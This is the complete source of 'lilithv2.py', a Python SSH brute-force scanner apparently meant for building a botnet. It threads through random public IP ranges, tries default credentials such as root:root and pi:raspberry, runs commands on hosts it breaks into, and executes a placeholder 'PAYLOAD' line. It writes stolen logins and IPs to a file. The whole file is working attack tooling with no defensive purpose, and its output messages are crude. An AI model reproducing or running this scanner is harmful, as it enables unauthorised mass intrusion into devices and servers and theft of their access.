lilithv2.py

# ulimit -n 999999
# python lilithv2.py 1 LUCKY 2 1 (PASSWORD)
# python lilithv2.py 1 LUCKY 2 1 gay (or) fag (or) root (etc..)

import threading, paramiko, random, socket, time, sys

paramiko.util.log_to_file("/dev/null")

server_ip = "185.61.138.88"

blacklisted = ["127.0","10.0","192.168"]

passwords = ["admin:1234", "root:root", "ubnt:ubnt", "pi:raspberry", "admin:admin", "support:support", "guest:guest", "telnet:telnet", "root:admin", "user:user", "test:test", "vagrant:vagrant"]

if sys.argv[4] == 'root':
     passwords = ["root:root"]
if sys.argv[4] == 'admin':
     passwords = ["admin:1234"]
if sys.argv[4] == 'support':
	passwords = ["support:support"]
if sys.argv[4] == 'guest':
     passwords = ["guest:guest"]
if sys.argv[4] == 'telnet':
     passwords = ["telnet:telnet"]
if sys.argv[4] == 'omg':
     passwords = ["admin:admin"]
if sys.argv[4] == 'kms':
	passwords = ["root:root", "admin:1234"]
if sys.argv[4] == 'kys':
	passwords = ["root:root", "root:admin"]
if sys.argv[4] == 'gay':
	passwords = ["root:root", "admin:admin", "root:admin", "admin:1234"]
if sys.argv[4] == 'fag':
    passwords = ["root:root", "admin:1234", "root:admin", "user:user", "test:test"]
if sys.argv[4] == 'perlz':
    passwords = ["pi:raspberry", "vagrant:vagrant", "ubnt:ubnt"]
if sys.argv[4] == 'all':
    passwords = ["pi:raspberry", "vagrant:vagrant", "ubnt:ubnt", "root:root", "admin:1234", "support:support", "guest:guest", "telnet:telnet", "admin:admin", "root:admin", "user:user", "test:test"]

if len(sys.argv) < 4:
    sys.exit("Usage: python " + sys.argv[0] + " <threads> <start-range> <end-range> <passwords>")

print "\x1b[0;31m.____    .__.__  .__  __  .__     "
print "\x1b[0;31m|    |   |__|  | |__|/  |_|  |__  "
print "\x1b[0;31m|    |   |  |  | |  \   __\  |  \ "
print "\x1b[0;31m|    |___|  |  |_|  ||  | |   Y  \ "
print "\x1b[0;31m|_______ \__|____/__||__| |___|  /"
print "\x1b[0;31m        \/                     \/ "

def sshscanner(ip):
    global passwords
    try:
        thisipisbad='no'
        for badip in blacklisted:
            if badip in ip:
                thisipisbad='yes'
        if thisipisbad=='yes':
            sys.exit()
        username='root'
        password="0"
        port = 22
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(3)
        s.connect((ip, port))
        data = str(s.recv(1024))
        if "SSH" in data:
            print("\x1b[1;30m[ - ] Lilith im not cumming -> " + ip + "\x1b[37m")
        elif "ssh" in data:
            print("\x1b[1;30m[ - ] Lilith im not cumming -> " + ip + "\x1b[37m")
        else:
            sys.exit()
        s.close()
        ssh = paramiko.SSHClient()
        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        dobreak=False
        for passwd in passwords:
            if ":n/a" in passwd:
                password=""
            else:
                password=passwd.split(":")[1]
            if "n/a:" in passwd:
                username=""
            else:
                username=passwd.split(":")[0]
            try:
                ssh.connect(ip, port = port, username=username, password=password, timeout=3)
                break
            except:
                pass
        badserver=True
        stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
        output = stdout.read()
        if "inet addr" in output:
            badserver=False
        websites = [ ]
        if badserver == False:
                print("\x1b[0;36m[ + ] Lilith im coming! " + ip + ":" + username + ":" + password + "\x1b[37m")
                ssh.exec_command('PAYLOAD')
                vulns = open("online.txt", "a").write(username + ":" + password + ":" + ip + "\n")
                time.sleep(12)
                ssh.close()
    except Exception as e:
        pass


if sys.argv[2] == "LUCKY":
    ranges = ["190.236.0.0/190.236.255.255", "212.194.0.0/212.195.255.255", "190.13.0.0/190.13.255.255", "190.40.0.0/190.43.255.255", "190.96.0.0/190.97.255.255", "190.232.0.0/190.239.255.255", "190.184.0.0/190.184.255.255", "181.174.0.0/181.174.255.255", "186.183.0.0/186.183.255.255", "59.177.0.0/59.178.255.255", "59.180.0.0/59.180.255.255", "59.182.0.0/59.184.255.255", "181.64.0.0/181.67.255.255", "200.106.0.0/200.106.255.255", "200.121.0.0/200.121.255.255", "201.230.0.0/201.230.255.255", "201.240.0.0/201.240.255.255", "101.109.0.0/101.109.255.255", "188.16.0.0/188.16.255.255", "188.17.0.0/188.17.255.255", "125.27.0.0/125.27.255.255", "101.109.0.0/101.109.255.255", "113.53.0.0/113.53.255.255", "118.173.0.0/118.173.255.255", "188.18.0.0/188.18.255.255", "188.19.0.0/188.19.255.255", "125.25.0.0/125.25.255.255", "125.26.0.0/125.26.255.255", "182.52.0.0/182.52.255.255", "125.24.0.0/125.24.255.255", "180.180.0.0/180.180.255.255", "179.105.0.0/179.105.255.255", "179.152.0.0/179.152.255.255", "189.29.0.0/189.29.255.255", "189.32.0.0/189.32.255.255", "189.33.0.0/189.33.255.255", "189.34.0.0/189.34.255.255", "189.35.0.0/189.35.255.255", "189.39.0.0/189.39.255.255", "189.4.0.0/189.4.255.255", "189.54.0.0/189.54.255.255", "189.55.0.0/189.55.255.255", "189.60.0.0/189.60.255.255", "189.61.0.0/189.61.255.255", "189.62.0.0/189.62.255.255", "189.63.0.0/189.63.255.255", "189.126.0.0/189.125", "103.20.0.0/103.20.255.255", "103.30.0.0/103.30.255.255", "103.47.0.0/103.47.255.255", "103.57.0.0/103.57.255.255", "12.188.0.0/12.188.255.255", "12.34.0.0/12.34.255.255", "122.3.0.0/122.3.255.255", "210.213.0.0/210.213.255.255", "59.69.0.0/59.69.255.255", "122.52.0.0/122.52.255.255", "122.54.0.0/122.54.255.255", "119.93.0.0/119.93.255.255", "124.105.0.0/124.205.255.255", "125.104.0.0/125.104.255.255", "119.92.0.0/119.92.255.255", "119.91.0.0/119.91.255.255", "49.144.0.0/49.144.255.255"]
    randomrange = random.choice(ranges)
    startrng = randomrange.split("/")[0]
    endrng = randomrange.split("/")[1]

if sys.argv[2] != "LUCKY":
    a = int(sys.argv[2].split(".")[0])
    b = int(sys.argv[2].split(".")[1])
    c = int(sys.argv[2].split(".")[2])
    d = int(sys.argv[2].split(".")[3])
else:
    a = int(startrng.split(".")[0])
    b = int(startrng.split(".")[1])
    c = int(startrng.split(".")[2])
    d = int(startrng.split(".")[3])
x = 0

while(True):
    try:

        if sys.argv[2] != "LUCKY":
            endaddr = sys.argv[3]
        else:
            endaddr = endrng

        d += 1

        ipaddr = str(a) + "." + str(b) + "."+str(c)+"."+str(d)

        if endaddr == (ipaddr or str(a) + "." + str(b) + "."+str(c)+"."+str(d-1)):
            if sys.argv[2] == "LUCKY":
                randomrange = random.choice(ranges)
                startrng = randomrange.split("/")[0]
                endrng = randomrange.split("/")[1]
                a = int(startrng.split(".")[0])
                b = int(startrng.split(".")[1])
                c = int(startrng.split(".")[2])
                d = int(startrng.split(".")[3])
            else:
                break

        if d > 255:
            c += 1
            d = 0

        if c > 255:
            b += 1
            c = 0

        if b > 255:
            a += 1
            b = 0

        ipaddr = str(a) + "." + str(b) + "."+str(c)+"."+str(d)

        if ipaddr == endaddr:
            if sys.argv[2] == "LUCKY":
                randomrange = random.choice(ranges)
                startrng = randomrange.split("/")[0]
                endrng = randomrange.split("/")[1]
                a = int(startrng.split(".")[0])
                b = int(startrng.split(".")[1])
                c = int(startrng.split(".")[2])
                d = int(startrng.split(".")[3])
            else:
                break

        if x > 500:
            time.sleep(1)
            x = 0

        t = threading.Thread(target=sshscanner, args=(ipaddr,))
        t.start()

    except Exception as e:
        pass

print "\x1b[37mDone\x1b[37m"